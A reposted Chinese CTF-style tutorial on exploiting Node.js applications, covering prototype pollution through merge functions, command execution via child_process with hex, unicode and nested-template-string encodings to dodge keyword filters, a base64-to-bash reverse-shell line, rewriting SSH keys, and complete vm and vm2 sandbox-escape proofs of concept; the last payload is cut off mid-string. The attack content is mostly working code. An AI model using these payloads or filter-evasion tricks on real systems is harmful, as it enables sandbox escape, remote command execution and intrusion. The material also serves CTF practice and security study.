挖洞经验之nodejs 中的漏洞技巧 node.js debug
qiyuwang 2024-10-31 15:51 18 浏览 0 评论
零基础学黑客领资料
搜公众号:白帽子左一
关于原型链
在javascript中,继承的整个过程就称为该类的原型链。
每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,一直到null为止。
在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype,但只有类有对象,对象没有,对象有的是__proto__。
like:
日期时:
f -> Data.prototype -> object.prototype->null
函数时:
d -> function.prototype -> object.prototype->null
数组时:
c -> array.prototype -> object.prototype->null
类时:
b -> a.prototype -> object.prototype->null
当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined。
根据上图可知,访问f1原型的三种方式:
console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype) #这样可以看出对象的__proto__属性,指向类的原型对象prototype
而访问到函数的方式则为:
console.log(f1.constructor.constructor) #这样我们就获取到了Function,可以构造出匿名函数来进行命令执行了。
关于merge函数
在js当中如果存在使用merge函数或clone函数的情况下,可能会产生原型链污染。
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
merge函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下,第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上,并且它们都是Object类型,那么Merge函数将重新开始合并它。
在这里可以控制b[attr]的值,将attr设为__proto__,也可以控制b中proto属性内的值,那当递归时,a[attr]在某个点实际上将指向对象a的原型,至此通过递归我们向所有对象添加一个新属性。
需要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}
>console.log({}.b)
<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //成功污染
关于child_process
nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。
在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。
在Nodejs中,nodejs通过使用child_process模块来生成多个子进程来处理其他事物就包括4个异步进程函数分别为spawn,exec,execFile,fork和3个同步进程函数spawnSync,execFileSync,execSync。
关于nodejs的命令执行
对于nodejs我们尝试用require来开启子进程进行命令执行。
假设题目需要绕过一些敏感字符,如exec,所以我们有多种方法即字符串拼接或者字符串的编码转换,在nodejs当中,对于十六进制编码与unicode编码都是适应的。
所以原先的:eval=require("child_process").execSync('cat fl001g.txt')
可以转变为:eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')
或者是:eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat fl001g.txt')
以及unicode编码:eval=require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
包括模板字符串:eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27)。
文件读取
有些时候只是为了读取文件的话,可以直接利用fs模块。
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
并且我们可以利用fs模块来进行目录的查看:
fs.readdir(path, callback)
除此之外进行文件的写入也可以,直接写入一个js文件通过调用child_process来编写一个shell。
eval=require(%22fs%22).writeFileSync('input.txt', 'sss')
如果具有权限,完全还可以利用unlink把ssh key给删除然后在重新写入。
关于nodejs中spawn与exec的区别
异步函数spawn是最基本的创建子进程的函数,其他三个异步函数都是对spawn不同程度的封装,即exec,execfile,fork。
所以他们的区别就是spawn只能运行指定的程序,参数需要在列表中给出,而exec可以直接运行复杂的命令。
要运行du -sh /disk1命令, 使用spawn函数需要写成spawn('du', [''-sh ', '/disk1']),而使用exec函数时,可以直接写成exec('du -sh /disk1')。
当require被禁用时
我们可以使用通过global全局对象加载模块来调用子进程。
global.process.mainModule.constructor._load('child_process').exec('ls');
利用Function进行执行:
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();
利用setInterval进行命令执行:
setInteval(function, 2000) #即间隔两秒
利用setTimeout进行命令执行:
setTimeout(function, 2000) #即两秒后执行
关于反弹shell
在nodejs当中与java有些类似,反弹shell需要进行一些额外的编码解码才能够规避掉一些敏感词,例如+号
shell反弹:
code=require('child_process').exec('cmd'|base64 -d|bash');
对于vm&&vm2
vm2调用者vm的api,vm2在vm的基础上创建了一层沙箱。
在创建vm环境时,主要就是创建一个隔绝的环境,将执行代码放入隔绝的上下文当中。
在这里vm.Script(code)就是我们要执行的部分,而vm.createContext(example)是创建的隔离对象,但是example并没有被进行限制,导致能够访问原型,根据上面的图我们可以构造欻匿名函数:
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
所以,在vm当中逃逸就用到了这种创建函数的方式:
因为这个函数的是依托于main函数,所以逃脱了限制。
进一步执行命令也就是利用含函数调用child_process以及mainMoudle来进行。
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
对于vm2,vm2拦截了对 constructor 和 __proto__ 属性的访问,导致我们无法逃脱沙箱,挂载在原型下,而vm2的sadbox.js对常见的命令执行的函数进行了过滤,比如 setTimeout,setInterval 等。
通常对于vm2调用方法就简便上一些:
而这其中其实现的方式与vm是相同的。
const script = new VMScript("let test = 1;test"); (vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()"); (vm1)
let vm = new VM() (vm2)--> const context = vm.createContext(sandbox) (vm1)
vm.run(script) (vm2) --> dir = cmd.runInContext(context) (vm1)
对于第二步,在其中就是创建了一个沙箱环境:
1. 调用vm.createContext创建上下文context
2. 调用lib目录下的sandbox.js对其进行封装,生成一个匿名函数
3. 将这个匿名函数的this为context
导致我们无法对其造成污染:
追溯在github当中可以发现一些绕过的方法:
Breakout in v3.6.9:https://github.com/patriksimek/vm2/issues/186
Breakout in v3.8.3:https://github.com/patriksimek/vm2/issues/225
#Breakout in v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
这里是利用buffer.from创建一个代理抛出异常throw f=>f.constructor("return process")()被vm2内部代码给捕获,再被catch给捕获,此时由于对() => {}不正确的处理导致了沙箱的逃逸。
hackim-2019
在vm2当中,可以通过制造错误,引起外部报错,再捕获外部的报错来判断是否存在vm2。
在这里通过报错可以发现,服务器使用了vm2.
使用v3.6.9的poc:
"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
执行命令即可获取flag。
关于模板字符串利用
模板字符串(template string)是增强版的字符串,用反引号(`)标识。
它可以当作普通字符串使用,也可以用来定义多行字符串,或者在字符串中嵌入变量,而如果在模板字符串中需要使用反引号,则前面要用反斜杠转义,另外在模板字符串中嵌入变量需要将变量名卸载${}当中。
利用模板字符串,我们可以生成一种嵌套模板
`${`${`constructo`}r`}` 拼接完之后可以变为 constructor
解析的顺序就是:`${`constructor`}`--->constructor
HUFUCTF just_escape
在虎符ctf中,就出现了利用模板嵌套来进行绕过,题目用的是vm2,利用poc就可以执行命令,但是题目过滤了一些关键词,导致poc需要进行一些更改,我们十六进制以及unicode编码或者就是模板嵌套可以进行绕过。
(function (){
TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
或者是:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x
作者:ophxc轩 ,原文地址:https://xz.aliyun.com/t/9167
相关推荐
- windows开启telnet服务,检测远程服务端口是否可以连通
-
本文介绍windwos开启telnet服务,telnet服务一般可以用于检测远程主机的某个端口服务是否可以连通,在日常的工作中,我们经常会遇到在本地的windows检测远程服务端口是否可以连通。win...
- 仅在Web登录新华三交换机条件下启用设备Telnet登录方式
-
概述Web登录新华三交换机可以在“网络-服务”页面中启用设备Telnet服务或SSH服务,也可以在“设备-管理员”设置管理员用户的可用服务,然而,在设备Web页面中,无法设置lineVTY用户线【l...
- 思科交换机,路由器如何关闭telnet 开启ssh服务
-
SSH为建立在应用层基础上的安全协议。SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。今天我们就来说说思科交换机,路...
- 智能化弱电行业常用的DOS命令,掌握了你也能成为...
-
前言在做智能化弱电项目时,前端摄像头设备安装结束后,我们会对网络摄像头进行调试,调试过程中会遇到前端摄像头没有图像或者图像出来了画面卡顿的现象。我们会采用ping命令来测试网络的连通性和网络承载能力。...
- 「干货」eNSP模拟器之配置Telnet登录
-
配置说明:配置Telnet,使R2(模拟PC)通过SW1登录到R1进行管理和配置。操作步骤:system-view##进入系统视图[Huawei]sysnameR1##改名为R1[R1]int...
- win11开启telnet服务怎么操作 win11打开telent指令是什么
-
telnet服务是我们在进行远程连接的时候,必须要打开的一项功能。但是有不少用户们不清楚在windows11系统中怎么开启telnet服务。今天小编就使用详细的图文教程,来给大家说明一下打开telen...
- 华三(H3C)交换机Telnet的远程登陆
-
一,配置交换机管理IP[SW1]vlan20//创建管理vlan[SW1]interfacevlan20//进入vlan接口[SW1-Vlanif20]ipaddress192.168....
- win10 telnet命令怎么查看端口是否打开
-
可能大家也会遇到这个问题,win10telnet命令查看端口是否打开的步骤是什么?具体方法如下:1、键盘输入快捷键WIN+R,打开运行窗口。2、输入cmd,点击确定按钮。3、弹出cmd命令行窗...
- Windows 7如何打开Telnet功能(win7系统打开telnet)
-
Windows7默认安装后是没有开启telnet客户端功能的,例如,我们在开始菜单中输入cmd,然后使用telnet命令,会弹出下图提示:‘telnet’不是内部或外部命令,也不是可运行程序或批处理文...
- 为锐捷路由器交换机开启web和telnet,实现轻松管理
-
笔者上一篇文章写了关于锐捷二层交换机配置教程,那么接下来讲一下锐捷的路由交换设备配置web、telnet技巧。同样,今天的教程也是基于命令行,比较简单,适合新手小白进行学习。准备工作配置前准备:con...
- 一文学会telnet命令的用途和使用方法
-
Telnet是一个古老的远程登录协议,可以让本地计算机获得远程计算机的工作能力。它采用了TCP的可靠连接方式,可以连接任何网络互通的远程计算机。不过由于它采用了明文传输方式,存在安全风险,目前已经很少...
- Telnet命令是什么?如何使用?(telnet命令在哪里开启)
-
telnet命令是一个常用的远程登陆工具,使用它,我们可以快捷地登陆远程服务器进行操作。那么如何使用telnet命令呢?首先,我们需要打开telnet功能,任何电脑默认是关闭此功能的,开启方式如下:打...
- win11系统如何开启telnet服务(拷贝版本)
-
我们要知道,Telnet协议是Internet远程登陆服务的标准协议,可以使用户在本地计算机上完成远程主机的工作,不过对于一些刚接触win11中文版系统的用户来说,可能还不知道telnet服务在哪...
- 如何开启telnet客户端(如何开启telnet服务)
-
Telnet协议是TCP/IP协议家族中的一员,是Internet远程登陆服务的标准协议和主要方式,Telnet是常用的远程控制Web服务器的方法。工作中经常用到telnet客户端,但在windows...
- Telnet 是什么,如何启用它?(telnet有什么用)
-
对于Internet等TCP/IP网络,Telnet是一个终端仿真程序。Telnet软件在您的系统上运行并将您的个人计算机链接到网络服务器。它将所有数据转换为纯文本这一事实被认为是易受...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)